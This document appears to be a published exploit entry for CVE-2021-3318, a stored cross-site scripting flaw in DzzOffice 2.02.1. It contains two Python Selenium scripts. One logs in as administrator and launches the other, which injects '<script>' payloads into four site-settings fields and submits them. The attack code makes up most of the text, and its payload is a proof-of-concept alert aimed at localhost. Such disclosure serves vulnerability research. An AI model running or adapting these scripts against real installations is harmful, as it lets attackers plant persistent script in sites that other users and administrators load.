# Exploit Title: XSS attack (app/setting) in DzzOffice-2.02.1 # Author: @nu11secur1ty # Testing and Debugging: @nu11secur1ty, g3ck0dr1v3r # Date: 04.23.2021 # Vendor: http://www.dzzoffice.com/ # Link: https://github.com/zyx0814/dzzoffice # CVE: CVE-2021-3318 [+] Exploit Source: #!/usr/bin/python3 # Author: @nu11secur1ty # CVE-2021-3318 from selenium import webdriver import time import os #enter the link to the website you want to automate login. website_link="http://localhost/dzzoffice/user.php?mod=login" #enter your login username username="admin@dzzoffice.com" #enter your login password password="password" #enter the element for username input field element_for_username="email" #enter the element for password input field element_for_password="password" #enter the element for submit button element_for_submit="loginsubmit" # Dai brauzura aaa ta eba browser = webdriver.Chrome() #uncomment this line,for chrome users # Otvarai da ne vlazam s kasata browser.get((website_link)) # Run... try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) ### Login signInButton = browser.find_element_by_name(element_for_submit) signInButton.click() ### Exploit #time.sleep(3) element_for_natrutvanie="admin_password" laina="http://localhost/dzzoffice/admin.php?mod=appmarket&op=cloudappmarket" browser.get((laina)) ### Next level... :) os.system("python poc_login_1.py") print("payload is deployed_0...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") ### os.system #!/usr/bin/python3 # Author: @nu11secur1ty # CVE-2021-3318 from selenium import webdriver import time #enter the link to the website you want to automate login. website_link="http://localhost/dzzoffice/admin.php?mod=setting" #enter your login username username="admin@dzzoffice.com" #enter your login password password="password" #enter the element for username input field element_for_username="admin_email" #enter the element for password input field element_for_password="admin_password" #enter the element for submit button element_for_submit="submit" # Dai brauzura aaa ta eba browser = webdriver.Chrome() #uncomment this line,for chrome users # Otvarai da ne vlazam s kasata browser.get((website_link)) # Run... try: username_element = browser.find_element_by_name(element_for_username) username_element.send_keys(username) password_element = browser.find_element_by_name(element_for_password) password_element.send_keys(password) ### Login signInButton = browser.find_element_by_name(element_for_submit) signInButton.click() ### Exploit time.sleep(3) element_for_natrutvanie="settingsubmit" laina="http://localhost/dzzoffice/admin.php?mod=setting" browser.get((laina)) ### Inner text... browser.execute_script("document.querySelector('[name=\"settingnew[metakeywords]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'") browser.execute_script("document.querySelector('[name=\"settingnew[sitebeian]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'") browser.execute_script("document.querySelector('[name=\"settingnew[metadescription]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'") browser.execute_script("document.querySelector('[name=\"settingnew[statcode]\"]').value = '<script>alert(\"nu11secur1ty_is_here\");</script>'") time.sleep(5) # Submit exploit signInButton = browser.find_element_by_name(element_for_natrutvanie) signInButton.click() print("payload is deployed_1...\n") except Exception: #### This exception occurs if the element are not found in the webpage. print("Some error occured :(") --------------------------------- # Exploit Title: XSS attack (app/setting) in DzzOffice-2.02.1 # Date: 04.23.2021 # Exploit Authotr idea: @nu11secur1ty # Exploit Debugging: @nu11secur1ty, g3ck0dr1v3r # Vendor Homepage: http://www.dzzoffice.com/ # Software Link: https://github.com/zyx0814/dzzoffice # Steps to Reproduce: https://github.com/nu11secur1ty/CVE-mitre/tree/main/CVE-2021-3318